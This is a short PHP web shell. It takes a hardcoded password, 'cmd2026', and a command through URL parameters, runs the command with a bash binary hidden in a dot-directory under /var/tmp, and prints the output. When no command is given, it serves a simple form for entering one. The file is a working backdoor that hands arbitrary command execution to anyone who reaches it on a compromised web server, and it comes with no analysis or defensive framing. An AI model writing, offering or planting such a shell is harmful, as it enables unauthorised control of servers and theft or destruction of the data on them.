<?php
$password = "cmd2026";
if (!isset($_GET['pass']) || $_GET['pass'] !== $password) {
    die("Access denied");
}
if (isset($_GET['cmd'])) {
    $cmd = $_GET['cmd'];
    $descriptorspec = array(
        0 => array("pipe", "r"),
        1 => array("pipe", "w"),
        2 => array("pipe", "w")
    );
    $process = proc_open("/var/tmp/.0k67uove/bash -c " . escapeshellarg($cmd), $descriptorspec, $pipes);
    if (is_resource($process)) {
        $output = stream_get_contents($pipes[1]) . stream_get_contents($pipes[2]);
        fclose($pipes[0]);
        fclose($pipes[1]);
        fclose($pipes[2]);
        proc_close($process);
        echo "<pre>$output</pre>";
    } else {
        echo "ERROR: Cannot execute shell";
    }
} else {
    echo '<form method="get">
        <input type="hidden" name="pass" value="'.$password.'">
        <input type="text" name="cmd" placeholder="command">
        <input type="submit" value="Execute">
    </form>';
}
?>